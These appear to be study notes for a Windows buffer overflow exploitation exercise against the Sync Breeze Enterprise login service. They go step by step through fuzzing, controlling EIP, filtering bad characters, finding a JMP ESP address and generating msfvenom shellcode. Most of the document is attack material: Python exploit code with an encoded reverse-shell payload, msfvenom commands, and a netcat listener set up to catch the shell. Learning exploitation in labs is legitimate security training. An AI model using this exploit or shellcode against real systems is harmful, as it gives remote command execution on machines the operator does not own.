WBO-Windows Buffer Overflows
Ultimate Goal
Getting a reverse shell (control over target machine's shell) without crashing the target application.
Target Application in this example, 'Sync Breeze Enterprise' service in windows.
-
Fuzzing the HTTP Protocol
Test with different lengths of buffers to test if an application would fail (crash)
e.g. Send 800 'A' as the username with http to the target.
Use Immunity Debugger to track the target application status (if it crashes)
Observe that EIF register is occupied by some buffer.
-
Controlling EIF
Determine which bytes occupies the EIF register.
Use Metasploit to create some unique 4-byte strings
msf-pattern_create -l 800
: create 800 unique 4-byte stringsWhen app crashes, see what value is in EIF, say '42306142'
msf-pattern_offset -l 800 -q 42306142
to find offset of the 4 bytes that occupy EIF, say it's 780#!/bin/python
# ...
filler = "A" * 780
eip = "B" * 4
buffer = "C" * 16
inputBuffer = filler + eip + buffer
# ...We get 42424242 in EIF, which is BBBB in ASCII . (42 in Hex is 66 in ASCII and represents 'B' in ASCII ) Ascci Table
Now we have control over EIF (Address of next instruction to execute)
-
Locating Space for our shell code
We can control EIF and don't know what address to use. We will do this later, we now focus on reverse shell code (what we will pass in buffer and use to run reverse shell).
We found that ESP is filled with "CCCC...", which is our buffer.
Reverse shell payload need approx. 350-400 bytes of space.
Solution: increase buffer length
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + bufferNow we have more space for shell code.
-
Check for bad characters
Depending on application, vulnerablilty type, protocol used, some chars cannot be used, such as string null terminator 0x00. Could cause
strcpy
command to stop early and truncate our buffer. Also for http protocol, should avoid return character 0x0D, stands for end of http field (username).Always check for bad characters, send all possible character from 0x00 - 0xFF.
#!/usr/bin/python
import socket
badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
try:
print "\nSending evil buffer..."
filler = "A" * 780
eip = "B" * 4
offset = "C" * 4
inputBuffer = filler + eip + offset + badchars
content = "username=" + inputBuffer + "&password=A"
# ...In Immunity Debugger, right click on ESP address "Follow in Dump" to view the content at that address when app crashes to see if the buffer at that location is expected. If 0x00 - 0xFF isn't complete and continuous in that location, the char that stops the continuity is a bad char, take note of it and remove it. Then keep testing until all bad chars are found.
Bad Chars: 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, 0x3D
-
Redirecting The Execution Follow
Replace the eip var in python code with ESP's value at the time of the crash.
Value of ESP changes regularly. Hard coding wouldn't work.
-
Find a Return Address
Solution for previous problem:
JMP ESP
Find a reliable static address that contains
JMP ESP
instruction, at the time of crash, point EIP to this location.This
JMP ESP
could be in another app, it just has to be static (the address of this location cannot contain any of the bad chars)Use Immunity Debugger
!mona modules
to check all ddl or modules loaded by target app to the memory space.From the flags in this output, we need to find some modules with SafeSEH319 (Structured Exception Handler Overwrite, an exploit-preventative memory protection technique), ASLR, and NXCompat (DEP protection) disabled. In other words, the executable has not been compiled with any memory protection schemes, and will always reliably load at the same address, making it ideal for our purposes.
Note: the address cannot contain bad chars as well.
Need to find
JMP ESP
in target modules.Use msf to translate the hex-representation or opt code of
JMP ESP
msf-nasm_shell
> jmp esp
# get FFE4Search in Immunity Debugger,
!mona find -s "\xff\xe4" -m "module_name.dll"
The address of
JMP ESP
cannot contain bad chars.Use this address for EIP register, address is in reverse order since many systems use little endian byte order.
Little Endian: low order byte number stored in memory at lowest address, high order at highest address, thus have to use reverse order.
-
Generating Shell code with metasploit
LHOST: destination ip of shell
LPORT: connect back port
-f c: c formated shell code
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=433 -f c
There could be bad char in generated shell code.
Encode shell code to avoid bad chars.
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -f c –e x 86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
-
Getting a shell
Put the shell code in place of the buffer.
Another problem: due to the encoding, the shell code is prepended by decoder. Some data like return address and offset are overwritten by the decoder.
Solution: create wide landing pad with
0x90
, no operation, do nothing, pass execution to the next instruction.Add 10 nops (
\x90
) before the shell code buffershellcode = ("\xbe\x55\xe5\xb6\x02\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" "\x52\x31\x72\x12\x03\x72\x12\x83\x97\xe1\x54\xf7\xeb\x02\x1a" "\xf8\x13\xd3\x7b\x70\xf6\xe2\xbb\xe6\x73\x54\x0c\x6c\xd1\x59" "\xe7\x20\xc1\xea\x85\xec\xe6\x5b\x23\xcb\xc9\x5c\x18\x2f\x48" "\xdf\x63\x7c\xaa\xde\xab\x71\xab\x27\xd1\x78\xf9\xf0\x9d\x2f" "\xed\x75\xeb\xf3\x86\xc6\xfd\x73\x7b\x9e\xfc\x52\x2a\x94\xa6" "\x74\xcd\x79\xd3\x3c\xd5\x9e\xde\xf7\x6e\x54\x94\x09\xa6\xa4" "\x55\xa5\x87\x08\xa4\xb7\xc0\xaf\x57\xc2\x38\xcc\xea\xd5\xff" "\xae\x30\x53\x1b\x08\xb2\xc3\xc7\xa8\x17\x95\x8c\xa7\xdc\xd1" "\xca\xab\xe3\x36\x61\xd7\x68\xb9\xa5\x51\x2a\x9e\x61\x39\xe8" "\xbf\x30\xe7\x5f\xbf\x22\x48\x3f\x65\x29\x65\x54\x14\x70\xe2" "\x99\x15\x8a\xf2\xb5\x2e\xf9\xc0\x1a\x85\x95\x68\xd2\x03\x62" "\x8e\xc9\xf4\xfc\x71\xf2\x04\xd5\xb5\xa6\x54\x4d\x1f\xc7\x3e" "\x8d\xa0\x12\x90\xdd\x0e\xcd\x51\x8d\xee\xbd\x39\xc7\xe0\xe2" "\x5a\xe8\x2a\x8b\xf1\x13\xbd\xbe\x0e\x1b\x2f\xd7\x12\x1b\x4e" "\x9c\x9a\xfd\x3a\xf2\xca\x56\xd3\x6b\x57\x2c\x42\x73\x4d\x49" "\x44\xff\x62\xae\x0b\x08\x0e\xbc\xfc\xf8\x45\x9e\xab\x07\x70" "\xb6\x30\x95\x1f\x46\x3e\x86\xb7\x11\x17\x78\xce\xf7\x85\x23" "\x78\xe5\x57\xb5\x43\xad\x83\x06\x4d\x2c\x41\x32\x69\x3e\x9f" "\xbb\x35\x6a\x4f\xea\xe3\xc4\x29\x44\x42\xbe\xe3\x3b\x0c\x56" "\x75\x70\x8f\x20\x7a\x5d\x79\xcc\xcb\x08\x3c\xf3\xe4\xdc\xc8" "\x8c\x18\x7d\x36\x47\x99\x8d\x7d\xc5\x88\x05\xd8\x9c\x88\x4b" "\xdb\x4b\xce\x75\x58\x79\xaf\x81\x40\x08\xaa\xce\xc6\xe1\xc6"
"\x5f\xa3\x05\x74\x5f\xe6")
filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.11.0.22\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefo x/52.0\r\n"run
sudo nc -lnvp 443
to listen on port 443 for the reverse shell to connect. -
Improve The Exploit (Prevent App from crashing)
App crashing could prevent testers from testing after exiting.
If the service is a threaded application, try avoid crash with ExitThread API instead of ExitProcess API.
Service won't be bring down.
EXITFUNC= thread
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC= thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d"
Replace the shell code with the output of this command.
It will prevent the service from crashing.